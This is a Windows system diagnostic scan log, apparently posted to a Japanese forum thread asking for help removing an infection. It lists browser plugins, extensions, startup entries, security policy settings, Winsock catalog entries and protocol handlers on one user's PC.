FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=10.25.2: C:\Windows\SysWOW64\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVision: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVisionStreaming: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (Google Inc.)

FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\{F003DA68-8256-4b37-A6C4-350FA04494DF}: C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt [2013/03/20 20:22:19 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 36.0.4\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 36.0.4\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins

[2014/01/01 09:11:13 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Tomohiko\AppData\Roaming\mozilla\Extensions
[2015/03/28 22:53:53 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Tomohiko\AppData\Roaming\mozilla\Firefox\Profiles\s0lzp1yr.default\extensions
[2013/04/14 11:48:31 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\extensions
[2015/03/28 21:00:38 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions
[2015/03/28 21:00:38 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}

[color=#E56717]========== Chrome ==========[/color]
  • mari
  • 2015/03/29 (Sun) 09:39:54
Re: salusの駆除をお助けください
CHR - plugin: Error reading preferences file
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.0.0_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\

O1 HOSTS File: ([2015/03/28 00:55:05 | 000,000,098 | ---- | M]) - C:\Windows\SysNative\drivers\etc\Hosts
O1 - Hosts: 127.0.0.1 localhost
O1 - Hosts: ::1 localhost
O2:[b]64bit:[/b] - BHO: (ExplorerWnd Helper) - {10921475-03CE-4E04-90CE-E2E7EF20C814} - C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll (IObit)
O2:[b]64bit:[/b] - BHO: (Windows Live ID Sign-in Helper) - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
O2:[b]64bit:[/b] - BHO: (Office Document Cache Handler) - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL (Microsoft Corporation)
O2 - BHO: (Groove GFS Browser Helper) - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O2 - BHO: (Microsoft アカウント サインイン ヘルパー) - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\microsoft shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
O2 - BHO: (Office Document Cache Handler) - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL (Microsoft Corporation)
O3:[b]64bit:[/b] - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O3 - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O4:[b]64bit:[/b] - HKLM..\Run: [AdobeAAMUpdater-1.0] C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe (Adobe Systems Incorporated)
O4:[b]64bit:[/b] - HKLM..\Run: [Creative SB Monitoring Utility Launcher] C:\Windows\SysNative\SBAVMonL.dll (Creative Technology Ltd.)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrAudioguiCtrl] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CSRHarmonySkypePlugin] C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrHCRPServer] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrSyncMLServer] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe ()
O4:[b]64bit:[/b] - HKLM..\Run: [EvtMgr6] C:\Program Files\Logicool\SetPointP\SetPoint.exe (Logicool, Inc.)
O4:[b]64bit:[/b] - HKLM..\Run: [HarmonyUserStartup] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [iTunesHelper] C:\Program Files\iTunes\iTunesHelper.exe (Apple Inc.)
O4:[b]64bit:[/b] - HKLM..\Run: [MSC] C:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4:[b]64bit:[/b] - HKLM..\Run: [nwiz] C:\Program Files\NVIDIA Corporation\nview\nwiz.exe ()
O4:[b]64bit:[/b] - HKLM..\Run: [TrayApplication] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [vksts] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [XFast LAN] D:\Program Files\ASRock\XFast LAN\cfosspeed.exe (cFos Software GmbH)
O4 - HKLM..\Run: [AdobeCS6ServiceManager] C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [APSDaemon] C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe (Apple Inc.)
O4 - HKLM..\Run: [CLMLServer_For_P2G8] D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe (CyberLink)
O4 - HKLM..\Run: [CLVirtualDrive] D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe (CyberLink Corp.)
O4 - HKLM..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe (DivX, LLC)
O4 - HKLM..\Run: [DivXUpdate] C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe ()
O4 - HKLM..\Run: [NTTE_OSA_AUS] C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe (東日本電信電話株式会社)
O4 - HKLM..\Run: [PowerDVD14Agent] D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe (CyberLink Corp.)
O4 - HKLM..\Run: [QuickTime Task] D:\Program Files (x86)\QuickTime\QTTask.exe (Apple Inc.)
O4 - HKLM..\Run: [Sound Blaster EVO Control Panel] D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe (Creative Technology Ltd)
O4 - HKLM..\Run: [Sound Blaster Recon3Di Control Panel] D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe (Creative Technology Ltd)
O4 - HKLM..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0" File not found
O4 - HKLM..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0" File not found
O4 - HKLM..\Run: [UpdReg] C:\Windows\Updreg.EXE (Creative Technology Ltd.)
O4 - HKLM..\Run: [XFastUSB] C:\Program Files (x86)\XFastUSB\XFastUsb.exe (FNet Co., Ltd.)
O4 - HKU\S-1-5-19..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [AdobeBridge] File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [ASRockXTU] File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [CCleaner Monitoring] C:\Program Files\CCleaner\CCleaner64.exe (Piriform Ltd)
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [Power2GoExpress8] NA File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [zASRockInstantBoot] File not found
O4 - HKU\S-1-5-19..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O4 - HKU\S-1-5-20..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O4 - Startup: C:\Users\Tomohiko\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe (MagicISO, Inc.)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktopChanges = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: ForceActiveDesktopOn = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableInstallerDetection = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableSecureUIAPaths = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableUIADesktopToggle = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableVirtualization = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ValidateAdminCodeSignatures = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: dontdisplaylastusername = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: legalnoticecaption =
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: legalnoticetext =
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: scforceoption = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: shutdownwithoutlogon = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: undockwithoutlogon = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: FilterAdministratorToken = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_TEXT = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_BITMAP = 2
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_OEMTEXT = 7
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_DIB = 8
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_PALETTE = 9
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_UNICODETEXT = 13
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_DIBV5 = 17
O7 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: DisableLockWorkstation = 0
O9 - Extra Button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe (東日本電信電話株式会社)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000001 [] - C:\Windows\SysNative\nlaapi.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000002 [] - C:\Windows\SysNative\NapiNSP.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000003 [] - C:\Windows\SysNative\pnrpnsp.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000004 [] - C:\Windows\SysNative\pnrpnsp.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000005 [] - C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000006 [] - C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000007 [] - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000008 [] - C:\Windows\SysNative\winrnr.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000009 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000001 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000002 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000003 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000004 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000005 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000006 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000007 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000008 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000009 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10:[b]64bit:[/b] - Protocol_Catalog9\Catalog_Entries64\000000000010 - C:\Windows\SysNative\mswsock.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000001 [] - C:\Windows\SysWOW64\nlaapi.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000002 [] - C:\Windows\SysWOW64\NapiNSP.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000003 [] - C:\Windows\SysWOW64\pnrpnsp.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000004 [] - C:\Windows\SysWOW64\pnrpnsp.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000005 [] - C:\Program Files (x86)\Common Files\microsoft shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000006 [] - C:\Program Files (x86)\Common Files\microsoft shared\Windows Live\WLIDNSP.DLL (Microsoft Corp.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000007 [] - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000008 [] - C:\Windows\SysWOW64\winrnr.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000009 [] - C:\Program Files (x86)\Bonjour\mdnsNSP.dll (Apple Inc.)
O10 - Protocol_Catalog9\Catalog_Entries\000000000001 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000002 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000003 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000004 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000005 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000006 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000007 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000008 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000009 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000010 - C:\Windows\SysWOW64\mswsock.dll (Microsoft Corporation)
O13[b]64bit:[/b] - gopher Prefix: missing
O13 - gopher Prefix: missing
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB (LoadPrg Class)
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab (Creative Software AutoUpdate Support Package 2)
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab (Creative Software AutoUpdate Support Package)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.2.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{7C6272C9-7D28-4419-8693-71981CA08FB5}: DhcpNameServer = 172.20.10.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{97B7AF35-DB55-4EDB-A679-DC50B1AD6DCE}: DhcpNameServer = 192.168.2.1
O18:[b]64bit:[/b] - Protocol\Handler\about {3050F406-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysNative\mshtml.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\cdl {3dd53d40-7b8b-11D0-b013-00aa0059ce02} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\dvd {12D51199-0DB5-46FE-A120-47A3D7D937CC} - C:\Windows\SysNative\MSVidCtl.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\file {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\ftp {79eac9e3-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\http {79eac9e2-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\https {79eac9e5-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\SysNative\itss.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\javascript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysNative\mshtml.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\local {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\mailto {3050f3DA-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysNative\mshtml.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\mhtml {05300401-BCBC-11d0-85E3-00C04FD85AB4} - C:\Windows\SysNative\inetcomm.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\mk {79eac9e6-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysNative\urlmon.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\ms-help - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\ms-its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\SysNative\itss.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\res {3050F3BC-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysNative\mshtml.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\skype4com - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\tv {CBD30858-AF45-11D2-B6D6-00C04FBBDE6E} - C:\Windows\SysNative\MSVidCtl.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\vbscript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysNative\mshtml.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Handler\wlmailhtml - No CLSID value found
O18 - Protocol\Handler\about {3050F406-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysWOW64\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\cdl {3dd53d40-7b8b-11D0-b013-00aa0059ce02} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\dvd {12D51199-0DB5-46FE-A120-47A3D7D937CC} - C:\Windows\SysWOW64\MSVidCtl.dll (Microsoft Corporation)
O18 - Protocol\Handler\file {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\ftp {79eac9e3-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\http {79eac9e2-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\https {79eac9e5-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\SysWOW64\itss.dll (Microsoft Corporation)
O18 - Protocol\Handler\javascript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysWOW64\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\local {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\mailto {3050f3DA-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysWOW64\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\mhtml {05300401-BCBC-11d0-85E3-00C04FD85AB4} - C:\Windows\SysWOW64\inetcomm.dll (Microsoft Corporation)
O18 - Protocol\Handler\mk {79eac9e6-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\SysWOW64\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\ms-help {314111c7-a502-11d2-bbca-00c04f8ec294} - C:\Program Files (x86)\Common Files\microsoft shared\Help\hxds.dll (Microsoft Corporation)
O18 - Protocol\Handler\ms-its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\SysWOW64\itss.dll (Microsoft Corporation)
O18 - Protocol\Handler\res {3050F3BC-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysWOW64\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O18 - Protocol\Handler\tv {CBD30858-AF45-11D2-B6D6-00C04FBBDE6E} - C:\Windows\SysWOW64\MSVidCtl.dll (Microsoft Corporation)
O18 - Protocol\Handler\vbscript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\SysWOW64\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\wlmailhtml {03C514A3-1EFB-4856-9F99-10D7BE1653C0} - C:\Program Files (x86)\Windows Live\Mail\mailcomm.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Filter\application/octet-stream {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysNative\mscoree.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Filter\application/x-complus {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysNative\mscoree.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Filter\application/x-msdownload {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysNative\mscoree.dll (Microsoft Corporation)
O18:[b]64bit:[/b] - Protocol\Filter\text/xml {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL (Microsoft Corporation)
O18 - Protocol\Filter\application/octet-stream {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysWow64\mscoree.dll (Microsoft Corporation)
O18 - Protocol\Filter\application/x-complus {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysWow64\mscoree.dll (Microsoft Corporation)
O18 - Protocol\Filter\application/x-msdownload {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\SysWow64\mscoree.dll (Microsoft Corporation)
